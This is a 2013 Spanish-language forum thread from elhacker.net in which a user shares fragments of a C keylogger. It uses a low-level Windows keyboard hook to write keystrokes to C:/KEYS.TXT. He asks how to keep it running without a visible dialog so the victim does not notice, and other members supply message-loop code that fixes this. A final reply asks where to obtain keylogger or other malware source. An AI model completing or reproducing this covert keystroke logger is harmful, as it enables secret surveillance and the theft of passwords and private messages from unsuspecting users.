elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  Keylogger en C (Windows Hooks)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Keylogger en C (Windows Hooks)  (Leído 4,507 veces)
ars1993

Desconectado Desconectado

Mensajes: 60


640k deberian ser suficientes para todo el mundo..


Ver Perfil
Keylogger en C (Windows Hooks)
« en: 6 Julio 2013, 18:36 pm »

Buenas, he escrito un keylogger en C usando hooks y tengo un pequeño problema, a ver si alguien me puede ayudar.
Ésto es parte de la función principal (WinMain) de mi keylogger
Código:
f = fopen ("C:/KEYS.TXT", "a+");
if (f==NULL){
exit(0);
}

HHOOK keyboardHook = SetWindowsHookEx (WH_KEYBOARD_LL, HookKey, hInstance, 0);

MessageBox(NULL, L"Click to exit", L"Keylogger", NULL);

        UnhookWindowsHookEx(keyboardHook);
fclose(f);
return 0;

Tengo que utilizar MessageBox() porque necesito que el programa se ejecute infinitamente. Aún así, MessageBox() no es muy bueno para mi keylogger ya que muestra un mensaje por pantalla (como es lógico). Aún así, he estado buscando y no encuentro otra función (o líneas de código) que hagan que el hook permanezca siempre sin que el usuario se de cuenta.

Mi código compila y guarda todo lo que el usuario escribe en un fichero. Aún así, el problema es éste que describo, que mientras el keylogger se está ejecutando, se muestra por pantalla el cuadro de diálogo originado por MessageBox().

A ver si alguien tiene alguna idea.

Gracias! ;)
En línea

640k deberian ser suficientes para todo el mundo..
fary
Moderador
***
Desconectado Desconectado

Mensajes: 1.075



Ver Perfil WWW
Re: Keylogger en C (Windows Hooks)
« Respuesta #1 en: 6 Julio 2013, 18:52 pm »

Esta API envez de MessageBox

http://msdn.microsoft.com/en-us/library/windows/desktop/ms644936%28v=vs.85%29.aspx

En línea

Un byte a la izquierda.
ars1993

Desconectado Desconectado

Mensajes: 60


640k deberian ser suficientes para todo el mundo..


Ver Perfil
Re: Keylogger en C (Windows Hooks)
« Respuesta #2 en: 8 Julio 2013, 13:31 pm »

Lo que he hecho es utilizar GetMessage, transaltemessage y dispatchmessage de la siguiente forma. Supongo que es éso a lo que te refieres, aun asi, me sigue sin funcionar.

Código:

MSG msg;

HHOOK keyboardHook = SetWindowsHookEx (WH_KEYBOARD_LL, HookKey, hInstance, 0);

while(1){
  GetMessage(&msg, NULL, 0, 0);
  TranslateMessage(&msg);
  DispatchMessage(&msg);

Ésto compila correctamente y también se ejecuta. Aún así, ahora ya no me loggea los caracteres guardándolos en el fichero tal y como hacia antes cuando utilizaba el MessageBox().

En línea

640k deberian ser suficientes para todo el mundo..
The Swash

Desconectado Desconectado

Mensajes: 194


Programmer


Ver Perfil WWW
Re: Keylogger en C (Windows Hooks)
« Respuesta #3 en: 9 Julio 2013, 03:09 am »

Estás consultando una cola de mensajes así que deberías hacerlo así:
Código
  1. while(GetMessage(&Msg, NULL, 0, 0) > 0)
  2. {
  3.    TranslateMessage(&Msg);
  4.    DispatchMessage(&Msg);
  5. }

Saludos.
En línea

goto C

Desconectado Desconectado

Mensajes: 20


Ver Perfil
Re: Keylogger en C (Windows Hooks)
« Respuesta #4 en: 17 Noviembre 2013, 11:42 am »

Hola, ars1993, tienes un mensaje privado que te he mandado, o eso creo jaja.

Por favor, estoy muy interesado en estos temas, estoy dispuesto a ayudar, ¿¿¿alguien podría pasarme o indicarme de dónde sacar algún código de keylogger en C??? O cualquier malware escrito en C...

Muchas gracias. Un saludo.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
KeyLogger con hooks, no captura las teclas altgr, alt, arroba
Programación Visual Basic
rubenpaz 7 7,327 Último mensaje 3 Julio 2011, 04:30 am
por x64core
Problema con caracteres al utilizar Hooks (Keylogger)
Análisis y Diseño de Malware
darkaos 3 3,705 Último mensaje 25 Noviembre 2011, 15:39 pm
por fary
Keylogger Hooks « 1 2 »
Análisis y Diseño de Malware
W0lFy 12 10,377 Último mensaje 12 Febrero 2012, 18:44 pm
por Иōҳ
keylogger para windows 8
Windows
Cergath 0 2,101 Último mensaje 16 Septiembre 2013, 15:51 pm
por Cergath
Mi Keylogger no funciona al iniciar Windows
Programación C/C++
Trollwer 3 3,770 Último mensaje 5 Diciembre 2020, 00:54 am
por Trollwer
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines